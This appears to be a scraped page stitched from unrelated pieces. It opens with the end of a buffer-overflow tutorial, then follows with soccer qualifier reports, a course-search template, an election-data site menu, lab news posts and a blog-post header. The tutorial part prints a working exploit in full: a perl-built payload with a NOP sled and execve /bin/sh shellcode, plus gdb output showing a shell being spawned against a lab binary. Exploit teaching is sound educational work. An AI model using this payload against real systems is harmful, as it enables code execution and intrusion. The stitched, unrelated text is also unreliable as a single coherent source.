gdb-peda$ run $(perl -e 'print "\x90"x150 . "\x31\xc0\x50\x68\x2f\x2f\x73\x68\x68\x2f\x62\x69\x6e\x89\xe3\x50\x53\x89\xe1\xb0\x0b\xcd\x80" . "A"x3 . "\xd6\xf3\xff\xbf"x10') Starting program: /home/debug/Documents/exploitdev/chapter2/stack/simple_overflow $(perl -e 'print "\x90"x150 . "\x31\xc0\x50\x68\x2f\x2f\x73\x68\x68\x2f\x62\x69\x6e\x89\xe3\x50\x53\x89\xe1\xb0\x0b\xcd\x80" . "A"x3 . "\xd0\xf3\xff\xbf"x10') ... Breakpoint 1, 0x00400589 in say_hi () gdb-peda$ info frame Stack level 0, frame at 0xbffff450: eip = 0x400589 in say_hi; saved eip = 0xbffff3d6 called by frame at 0xbffff3d8 Arglist at 0xbffff448, args: Locals at 0xbffff448, Previous frame's sp is 0xbffff450 Saved registers: ebx at 0xbffff444, ebp at 0xbffff448, eip at 0xbffff44c gdb-peda$
At our first breakpoint, we see that the address we selected in the middle of our NOP characters (0xbffff3d0) overwrites RET. The program should begin executing commands at this instruction after this memory location is loaded into EIP and we should encounter our second breakpoint.
gdb-peda$ continue Continuing. Hello ����������������������������������������������������������������������������������������̐��������������������������������������������������������������Ph//shh/bin��PS��� AAA���������������������������������������� [----------------------------------registers-----------------------------------] EAX: 0x0 EBX: 0xbffff3d0 --> 0x90909000 ECX: 0x0 EDX: 0xb7fbb890 --> 0x0 ESI: 0xb7fba000 --> 0x1d7d6c EDI: 0x0 EBP: 0xbffff3d0 --> 0x90909000 ESP: 0xbffff450 --> 0xbffff600 --> 0x0 EIP: 0xbffff3d6 --> 0x90909000 EFLAGS: 0x282 (carry parity adjust zero SIGN trap INTERRUPT direction overflow) [-------------------------------------code-------------------------------------] 0xbffff3cd: nop 0xbffff3ce: nop 0xbffff3cf: nop => 0xbffff3d0: add BYTE PTR [eax-0x6f6f6f70],dl 0xbffff3d6: nop 0xbffff3d7: nop 0xbffff3d8: nop 0xbffff3d9: nop [------------------------------------stack-------------------------------------] 0000| 0xbffff450 --> 0xbffff600 --> 0x0 0004| 0xbffff454 --> 0xbffff514 --> 0xbffff650 ("/home/debug/Documents/exploitdev/chapter2/stack/simple_overflow") 0008| 0xbffff458 --> 0xbffff520 --> 0xbffff769 ("LS_COLORS=rs=0:di=01;34:ln=01;36:mh=00:pi=40;33:so=01;35:do=01;35:bd=40;33;01:cd=40;33;01:or=40;31;01:mi=00:su=37;41:sg=30;43:ca=30;41:tw=30;42:ow=34;42:st=37;44:ex=01;32:*.tar=01;31:*.tgz=01;31:*.arc"...) 0012| 0xbffff45c --> 0x4005b1 (main+22>: add eax,0x1a23) 0016| 0xbffff460 --> 0xb7fe79e0 (_dl_fini>: push ebp) 0020| 0xbffff464 --> 0xbffff480 --> 0x2 0024| 0xbffff468 --> 0x0 0028| 0xbffff46c --> 0xb7dfae91 (__libc_start_main+241>: add esp,0x10) [------------------------------------------------------------------------------] Legend: code, data, rodata, value Breakpoint 2, 0xbffff3d6 in ?? () gdb-peda$
Indeed this happens! See that the address in the middle of our NOP characters is written into EIP. Now the program should slide down our NOP Sled into our Shellcode which will trigger our third breakpoint.
gdb-peda$ continue Continuing. Hello ����������������������������������������������������������������������������������������̐��������������������������������������������������������������Ph//shh/bin��PS��� AAA���������������������������������������� [----------------------------------registers-----------------------------------] EAX: 0x0 EBX: 0xbffff3d6 --> 0x90909090 ECX: 0x0 EDX: 0xb7fbb890 --> 0x0 ESI: 0xb7fba000 --> 0x1d7d6c EDI: 0x0 EBP: 0xbffff3d6 --> 0x90909090 ESP: 0xbffff450 --> 0xbffff600 --> 0x0 EIP: 0xbffff40e --> 0x6850c000 EFLAGS: 0x282 (carry parity adjust zero SIGN trap INTERRUPT direction overflow) [-------------------------------------code-------------------------------------] 0xbffff40b: nop 0xbffff40c: nop 0xbffff40d: nop => 0xbffff40e: add al,al 0xbffff410: push eax 0xbffff411: push 0x68732f2f 0xbffff416: push 0x6e69622f 0xbffff41b: mov ebx,esp [------------------------------------stack-------------------------------------] 0000| 0xbffff450 --> 0xbffff600 --> 0x0 0004| 0xbffff454 --> 0xbffff514 --> 0xbffff650 ("/home/debug/Documents/exploitdev/chapter2/stack/simple_overflow") 0008| 0xbffff458 --> 0xbffff520 --> 0xbffff769 ("LS_COLORS=rs=0:di=01;34:ln=01;36:mh=00:pi=40;33:so=01;35:do=01;35:bd=40;33;01:cd=40;33;01:or=40;31;01:mi=00:su=37;41:sg=30;43:ca=30;41:tw=30;42:ow=34;42:st=37;44:ex=01;32:*.tar=01;31:*.tgz=01;31:*.arc"...) 0012| 0xbffff45c --> 0x4005b1 (main+22>: add eax,0x1a23) 0016| 0xbffff460 --> 0xb7fe79e0 (<_dl_fini>: push ebp) 0020| 0xbffff464 --> 0xbffff480 --> 0x2 0024| 0xbffff468 --> 0x0 0028| 0xbffff46c --> 0xb7dfae91 (<__libc_start_main+241>: add esp,0x10) [------------------------------------------------------------------------------] Legend: code, data, rodata, value Breakpoint 3,
As we can see from the code section of gdb-peda's output we are about to execute our Shellcode. When we continue execution the program should run our code and we should get a Shell.
gdb-peda$ continue Continuing. process 1731 is executing new program: /bin/dash $ id [Attaching after process 1731 fork to child process 1734] [New inferior 2 (process 1734)] [Detaching after fork from parent process 1731] [Inferior 1 (process 1731) detached] process 1734 is executing new program: /usr/bin/id [Thread debugging using libthread_db enabled] Using host libthread_db library "/lib/i386-linux-gnu/libthread_db.so.1". warning: Error reading shared library list entry at 0xffffd030 uid=1000(debug) gid=1000(debug) groups=1000(debug),4(adm),24(cdrom),27(sudo),30(dip),46(plugdev),116(lpadmin),122(sambashare) $ [Inferior 2 (process 1734) exited normally] Warning: not running gdb-peda$
Woo, we get a Shell - our exploit works! Unfortunately, we cannot interact with our shell for more than one command inside gdb but we've done it nonetheless. Let's go over what our exploit did.
1) We overwrote RET which loaded a memory address of our choosing into EIP
2) The program jumped to our NOP Sled which we wrote to the Stack at the beginning of the Stack Frame.
3) The program slid down our NOP Sled to our Shellcode.
4) The Shellcode executed and spawned a Shell.
Next time we will improve our exploit code so it works more efficiently. We will also go over the process of identifying bad characters that the program cannot accept that must not be included in our exploit. In some cases bad characters can break an exploit that would otherwise. Therefore it is an essential part of the exploit development process.
References:
[1] Ars Technica, How Buffer Overflows work: overwriting the return address https://www.youtube.com/watch?v=LkqZ8I2FVuQ
[2] http://shell-storm.org/shellcode/files/shellcode-827.php
[3] https://en.wikipedia.org/wiki/Shellcode
[4] https://en.wikipedia.org/wiki/Endianness
Hacking The Art of Exploitation, 2nd Edition, Jon Erickson


Home
Semester: {{ semester.semester_str }} ({{ semester.semester_str_readable }})
Search by course name
Search by CRN#
Semester not found


Germany, Belgium & Dutch Win Big In Qualifiers
by SL InternationalBelgium 6-1 Cyprus
Belgium sealed a perfect qualifying campaign with a 6-1 demolition of Cyprus and topped Group I with maximum points courtesy of two goals each from at Stade Roi Baudouin.
Christian Benteke and Kevin De Bruyne both bagged two goals each while Yannick Carrasco and an own goal from Kypros Christoforou also got on the score-sheet for the hosts , while Nikolas Ioannou scored the only goal for Cyprus.
Germany 6-1 Northern Ireland
Germany clinched top spot in Group C after thumping Northern Ireland 6-1 thanks to a hat-trick by Serge Gnabry and a brace by Leon Goretzka at Commerzbank Arena.
Serge Gnabry grabbed the headlines after bagging a ha-trick his hat-trick on the hour-mark, while a brace from Leon Goretzka and a Julian Brandt strike rounded off the thrashing in stoppage time. Michael Smith got the Northern Ireland's only goal.
Wales 2-0 Hungary
Wales sealed a spot in the 2020 European Championship after beating Hungary 2-0 thanks to a brace from Juventus star Aaron Ramsey.
Ryan Giggs' charges qualify as the second best team in Group E with 14 points, three points behind group winners Croatia.
San Marino 0-5 Russia
Russia confirmed second spot in Group I with a 5-0 walloping of San Marino at Stadio Olimpico Di Serravalle.
Daler Kuzyaev, Sergey Petrov, Aleksey Miranchuk, Aleksey Ionov and Nikolay Komlichenko were all on target as Russia cruised to victory, while San Marino lost all their matches in the group.
Poland 3-2 Slovenia
Poland, who had long secured their ticket to the 2020 tournament, confirmed top spot in Group G with a 3-2 victory over Slovenia at Stadion Narodowy.
Sebastian Szymanski, Robert Lewandowski and a winner from Jacek Goralski gave Poland the three points to win Group G six points clear, while goals from Tim Matavz and Josip IIicic and red-card for Jasmin Kurtic saw Slovenia fail to qualify in fourth place.
Netherlands 5-0 Estonia
Netherlands qualified as the second best team in Group C behind Germany after thrashing Estonia 5-0 thanks at Johan Cruijff Arena.
Georginio Wijnaldum's hat-trick was complemented by goals from Nathan Ake and Myron Boadu as the Dutch ran out emphatic winners on the night.
Other Results:
Latvia 1-0 Austria
North Macedonia 1-0 Israel
Scotland 3-1 Kazakhstan
Slovakia 2-0 Azerbaijan


Tunisia election data
2014 Presidential
2014 Parliamentary
2011 NCA
Datasets
Charts
Community Viz
About


Anuj Vaishnav 01 February 2019
Future home of the Reconfig lab! Watch this space. . .
Anuj Vaishnav 25 January 2019
Bogdan passed the Viva!


--- layout: post title: ! 'My work''s 21 year old co-op left this week. Found this on my desk this morning. This kid''s as wise as Deepak Chopra:' published: true ---